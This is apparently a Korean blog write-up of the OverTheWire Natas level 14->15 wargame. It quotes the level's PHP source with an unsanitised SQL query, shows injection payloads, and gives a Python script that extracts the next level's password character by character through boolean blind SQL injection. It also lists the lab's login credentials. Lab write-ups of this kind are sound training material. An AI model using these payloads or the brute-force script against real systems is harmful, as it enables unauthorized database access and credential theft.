Natas wargame Level 14 -> 15 로그인 정보와 URL 은 아래와 같다.
- Username : natas15
- Password : SdqIqBsFcz3yotlNYErZSZwblkm0lrvx
- Natas URL : http://natas15.natas.labs.overthewire.org
- OverTheWire 사이트 : https://overthewire.org/wargames/natas/natas15.html
OverTheWire
We're hackers, and we are good-looking. We are the 1%. <!-- Please read and accept the Rules! --> Username: natas1 URL: http://natas1.natas.labs.overthewire.org
overthewire.org
1. 문제 풀이
> Natas URL로 접속하면 아래 화면이 나온다.
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas15", "pass": "<censored>" };</script></head>
<body>
<h1>natas15</h1>
<div id="content">
<?php
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas15', '<censored>');
mysqli_select_db($link, 'natas15');
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
echo "Error in query.<br>";
}
mysqli_close($link);
} else {
?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
> 일전에 써먹었던 우회 방법으로 username에 bbb" OR 1=1 # 같이 써서 Check existence 를 눌러보면 유저가 존재한다고 나오기는 한다.
> 다만 이렇게 단순히 username이 존재한다라는 것만 가지고는 크게 유의미한 탐색을 할 수 없다.
> 위 주석문을 보면 users라는 테이블을 만들어서 username과 password 를 넣고 있다. 아마 이 테이블 안에 username natas16으로 된 곳에 natas16의 비밀번호가 있지 않을까 추측을 해 본다. username에 natas16을 넣어보자.
ㅇㅋㅇㅋ 우선은 users 테이블에 natas16이라는 username을 가지고 있는 행(row)이 있다는 것을 발견했다. 그렇다면 조건에 맞을 때 참 값을 반환하며 This user exists 출력하는 것을 이용하여 비밀번호를 찾아보도록 하자. 그러기 위해서는 password 길이가 어느정도인지 확인해 봐야하는데, 아래와 같은 코드를 이용하면 된다.
natas16" AND LENGTH(password)=숫자 #
> AND LEGNTH(password)=1, AND LEGNTH(password)=2,,, 와 같이 password Length가 내가 때려 넣은(?) 숫자와 일치한다면 this user exists 라는 문구가 출력될 것이다. 우선은 숫자1부터 쭈우욱 넣어보면서 노가다를 해보니 natas16" AND LENGTH(password)=32 # 에서 this user exists 가 출력되었다. 즉 비밀번호 길이는 32글자라는 소리이다.
비밀번호 길이를 찾아냈으면, 문자열을 구성하는 인덱스들에서 어떤 문자들이 실제로 그 인덱스에 있는 문자와 일치하는지를 확인해 봐야 한다.
username=natas16" AND BINARY SUBSTRING(password,n,1)='?' #
> SUBSTRING을 통해 비밀번호의 각 인덱스(1~32번)에 해당하는 문자들이 내가 넣은 문자와 일치하는지 확인하면 되는데, 일치한다고 하면 this user exists 를 response로 응답할 것이다. 이를 이용해서 아래 파이썬 자동화 코드를 통해 맞는 문자들을 하나하나 저장하여 최종 비밀번호를 알아내보도록 하자.
(참고로 BINARY SUBSTRING 을 해야 정확한 문자 비교가 가능함.)
import requests
import string
url = "http://natas15.natas.labs.overthewire.org/index.php"
auth = ('natas15', 'SdqIqBsFcz3yotlNYErZSZwblkm0lrvx')
charset = string.ascii_letters + string.digits
password = ""
for i in range(1, 33):
for c in charset:
payload = f'natas16" AND BINARY SUBSTRING(password,{i},1)="{c}" #'
r = requests.post(url, data={"username": payload}, auth=auth)
if "This user exists" in r.text:
password += c
print(f"[{i}] {c} → {password}")
break
위 코드의 흐름은 다음과 같다.
1. charset에서 ascii에서 쓰이는 모든 문자열(대소문자 + 숫자)을 저장한다.
2. 비밀번호 길이(32글자)만큼 순회하면서, 비밀번호의 n번째 인덱스가 charset 중 어떤 것에 해당하는지 (맞다면 This uer exists를 response로 보내게 됨.) 확인한다.
3. 해당하는 문자를 찾았으면 password 에 저장.
4. 최종적으로 32개의 문자열에 해당하는 모든 비밀번호를 찾았으면 종료.
> 쪼~금 시간이 걸리긴 했는데, 저런 식으로 하나 하나 대입하여 비교하면서 일치하는 문자를 password 에 저장하여 최종적으로 32글자에 해당하는 password를 찾아낼 수 있다.
2. 요약
☞ 자동화 코드를 이용해 password 길이 만큼의 인덱스를 순회하면서 맞는 문자를 찾아 최종 비밀번호를 획득하면 됨.
'해킹&보안 > 웹해킹' 카테고리의 다른 글
[웹 해킹 : 나타스(Natas 워게임] Level 16 -> 17(웹 해킹 / 보안) (0) | 2025.04.16 |
---|---|
[웹 해킹 : 나타스(Natas 워게임] Level 15 -> 16(웹 해킹 / 보안) (0) | 2025.04.15 |
[웹 해킹 : 나타스(Natas 워게임] Level 13 -> 14(웹 해킹 / 보안) (0) | 2025.04.14 |
[웹 해킹 : 나타스(Natas 워게임] Level 12 -> 13(웹 해킹 / 보안) (0) | 2025.04.08 |
[웹 해킹 : 나타스(Natas 워게임] Level 11 -> 12(웹 해킹 / 보안) (0) | 2025.04.07 |